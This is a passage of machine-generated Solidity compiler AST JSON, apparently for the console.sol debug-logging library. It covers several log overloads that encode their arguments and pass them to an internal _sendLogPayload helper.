memory"}},{"id":29371,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29360,"src":"49078:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29372,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29362,"src":"49082:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1596a1ceb88c7fe162cbcf294bbc564db1eb943f277b50b442bf55dba1134056","typeString":"literal_string \"log(bool,string,uint256,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29366,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49010:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29367,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49014:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49010:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49010:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29365,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"48994:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48994:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29375,"nodeType":"ExpressionStatement","src":"48994:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48915:3:15","parameters":{"id":29363,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29356,"mutability":"mutable","name":"p0","nameLocation":"48924:2:15","nodeType":"VariableDeclaration","scope":29377,"src":"48919:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29355,"name":"bool","nodeType":"ElementaryTypeName","src":"48919:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29358,"mutability":"mutable","name":"p1","nameLocation":"48942:2:15","nodeType":"VariableDeclaration","scope":29377,"src":"48928:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29357,"name":"string","nodeType":"ElementaryTypeName","src":"48928:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29360,"mutability":"mutable","name":"p2","nameLocation":"48954:2:15","nodeType":"VariableDeclaration","scope":29377,"src":"48946:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29359,"name":"uint256","nodeType":"ElementaryTypeName","src":"48946:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29362,"mutability":"mutable","name":"p3","nameLocation":"48966:2:15","nodeType":"VariableDeclaration","scope":29377,"src":"48958:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29361,"name":"address","nodeType":"ElementaryTypeName","src":"48958:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"48918:51:15"},"returnParameters":{"id":29364,"nodeType":"ParameterList","parameters":[],"src":"48984:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29400,"nodeType":"FunctionDefinition","src":"49099:192:15","nodes":[],"body":{"id":29399,"nodeType":"Block","src":"49183:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c75696e7432353629","id":29391,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49233:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7be0c3eb1e87c47c60c12330b930fb496493960f97b03f8342bbe08fec9d20a2","typeString":"literal_string \"log(bool,string,string,uint256)\""},"value":"log(bool,string,string,uint256)"},{"id":29392,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29379,"src":"49268:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29393,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29381,"src":"49272:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29394,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29383,"src":"49276:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29395,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29385,"src":"49280:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7be0c3eb1e87c47c60c12330b930fb496493960f97b03f8342bbe08fec9d20a2","typeString":"literal_string \"log(bool,string,string,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29389,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49209:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29390,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49213:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49209:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29396,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49209:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29388,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"49193:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29397,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49193:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29398,"nodeType":"ExpressionStatement","src":"49193:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49108:3:15","parameters":{"id":29386,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29379,"mutability":"mutable","name":"p0","nameLocation":"49117:2:15","nodeType":"VariableDeclaration","scope":29400,"src":"49112:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29378,"name":"bool","nodeType":"ElementaryTypeName","src":"49112:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29381,"mutability":"mutable","name":"p1","nameLocation":"49135:2:15","nodeType":"VariableDeclaration","scope":29400,"src":"49121:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29380,"name":"string","nodeType":"ElementaryTypeName","src":"49121:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29383,"mutability":"mutable","name":"p2","nameLocation":"49153:2:15","nodeType":"VariableDeclaration","scope":29400,"src":"49139:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29382,"name":"string","nodeType":"ElementaryTypeName","src":"49139:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29385,"mutability":"mutable","name":"p3","nameLocation":"49165:2:15","nodeType":"VariableDeclaration","scope":29400,"src":"49157:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29384,"name":"uint256","nodeType":"ElementaryTypeName","src":"49157:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49111:57:15"},"returnParameters":{"id":29387,"nodeType":"ParameterList","parameters":[],"src":"49183:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29423,"nodeType":"FunctionDefinition","src":"49297:197:15","nodes":[],"body":{"id":29422,"nodeType":"Block","src":"49387:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c737472696e6729","id":29414,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49437:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1762e32af9fa924f818d8f4a6c92011d30129df73749081e0b95feea819a17c9","typeString":"literal_string \"log(bool,string,string,string)\""},"value":"log(bool,string,string,string)"},{"id":29415,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29402,"src":"49471:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29416,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29404,"src":"49475:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29417,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29406,"src":"49479:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29418,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29408,"src":"49483:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1762e32af9fa924f818d8f4a6c92011d30129df73749081e0b95feea819a17c9","typeString":"literal_string \"log(bool,string,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29412,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49413:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29413,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49417:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49413:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29419,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49413:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29411,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"49397:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49397:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29421,"nodeType":"ExpressionStatement","src":"49397:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49306:3:15","parameters":{"id":29409,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29402,"mutability":"mutable","name":"p0","nameLocation":"49315:2:15","nodeType":"VariableDeclaration","scope":29423,"src":"49310:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29401,"name":"bool","nodeType":"ElementaryTypeName","src":"49310:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29404,"mutability":"mutable","name":"p1","nameLocation":"49333:2:15","nodeType":"VariableDeclaration","scope":29423,"src":"49319:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29403,"name":"string","nodeType":"ElementaryTypeName","src":"49319:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29406,"mutability":"mutable","name":"p2","nameLocation":"49351:2:15","nodeType":"VariableDeclaration","scope":29423,"src":"49337:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29405,"name":"string","nodeType":"ElementaryTypeName","src":"49337:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29408,"mutability":"mutable","name":"p3","nameLocation":"49369:2:15","nodeType":"VariableDeclaration","scope":29423,"src":"49355:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29407,"name":"string","nodeType":"ElementaryTypeName","src":"49355:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"49309:63:15"},"returnParameters":{"id":29410,"nodeType":"ParameterList","parameters":[],"src":"49387:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29446,"nodeType":"FunctionDefinition","src":"49500:186:15","nodes":[],"body":{"id":29445,"nodeType":"Block","src":"49581:105:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c626f6f6c29","id":29437,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49631:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1e4b87e52d13efc5b368defba0463e423637ec55125c6230945d005f817198d1","typeString":"literal_string \"log(bool,string,string,bool)\""},"value":"log(bool,string,string,bool)"},{"id":29438,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29425,"src":"49663:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29439,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29427,"src":"49667:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29440,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29429,"src":"49671:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29441,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29431,"src":"49675:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1e4b87e52d13efc5b368defba0463e423637ec55125c6230945d005f817198d1","typeString":"literal_string \"log(bool,string,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29435,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49607:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29436,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49611:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49607:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49607:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29434,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"49591:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29443,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49591:88:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29444,"nodeType":"ExpressionStatement","src":"49591:88:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49509:3:15","parameters":{"id":29432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29425,"mutability":"mutable","name":"p0","nameLocation":"49518:2:15","nodeType":"VariableDeclaration","scope":29446,"src":"49513:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29424,"name":"bool","nodeType":"ElementaryTypeName","src":"49513:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29427,"mutability":"mutable","name":"p1","nameLocation":"49536:2:15","nodeType":"VariableDeclaration","scope":29446,"src":"49522:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29426,"name":"string","nodeType":"ElementaryTypeName","src":"49522:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29429,"mutability":"mutable","name":"p2","nameLocation":"49554:2:15","nodeType":"VariableDeclaration","scope":29446,"src":"49540:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29428,"name":"string","nodeType":"ElementaryTypeName","src":"49540:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29431,"mutability":"mutable","name":"p3","nameLocation":"49563:2:15","nodeType":"VariableDeclaration","scope":29446,"src":"49558:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29430,"name":"bool","nodeType":"ElementaryTypeName","src":"49558:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"49512:54:15"},"returnParameters":{"id":29433,"nodeType":"ParameterList","parameters":[],"src":"49581:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29469,"nodeType":"FunctionDefinition","src":"49692:192:15","nodes":[],"body":{"id":29468,"nodeType":"Block","src":"49776:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c6164647265737329","id":29460,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"49826:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_97d394d89551bd441d1340d1c3dcc3b6160871bf042c6884bcb4049b2fa2bdb5","typeString":"literal_string \"log(bool,string,string,address)\""},"value":"log(bool,string,string,address)"},{"id":29461,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29448,"src":"49861:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29462,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29450,"src":"49865:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29463,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29452,"src":"49869:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29464,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29454,"src":"49873:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_97d394d89551bd441d1340d1c3dcc3b6160871bf042c6884bcb4049b2fa2bdb5","typeString":"literal_string \"log(bool,string,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29458,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49802:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29459,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49806:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49802:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29465,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49802:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29457,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"49786:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29466,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49786:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29467,"nodeType":"ExpressionStatement","src":"49786:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"49701:3:15","parameters":{"id":29455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29448,"mutability":"mutable","name":"p0","nameLocation":"49710:2:15","nodeType":"VariableDeclaration","scope":29469,"src":"49705:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29447,"name":"bool","nodeType":"ElementaryTypeName","src":"49705:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29450,"mutability":"mutable","name":"p1","nameLocation":"49728:2:15","nodeType":"VariableDeclaration","scope":29469,"src":"49714:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29449,"name":"string","nodeType":"ElementaryTypeName","src":"49714:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29452,"mutability":"mutable","name":"p2","nameLocation":"49746:2:15","nodeType":"VariableDeclaration","scope":29469,"src":"49732:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29451,"name":"string","nodeType":"ElementaryTypeName","src":"49732:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29454,"mutability":"mutable","name":"p3","nameLocation":"49758:2:15","nodeType":"VariableDeclaration","scope":29469,"src":"49750:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29453,"name":"address","nodeType":"ElementaryTypeName","src":"49750:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"49704:57:15"},"returnParameters":{"id":29456,"nodeType":"ParameterList","parameters":[],"src":"49776:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29492,"nodeType":"FunctionDefinition","src":"49890:181:15","nodes":[],"body":{"id":29491,"nodeType":"Block","src":"49965:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c75696e7432353629","id":29483,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"50015:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1606a393d6d8ee0e5b372b3b4baba691a3700cb155888ecb60500deb6038e937","typeString":"literal_string \"log(bool,string,bool,uint256)\""},"value":"log(bool,string,bool,uint256)"},{"id":29484,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29471,"src":"50048:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29485,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29473,"src":"50052:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29486,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29475,"src":"50056:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29487,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29477,"src":"50060:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1606a393d6d8ee0e5b372b3b4baba691a3700cb155888ecb60500deb6038e937","typeString":"literal_string \"log(bool,string,bool,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29481,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"49991:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29482,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"49995:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"49991:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29488,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"49991:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29480,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"49975:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 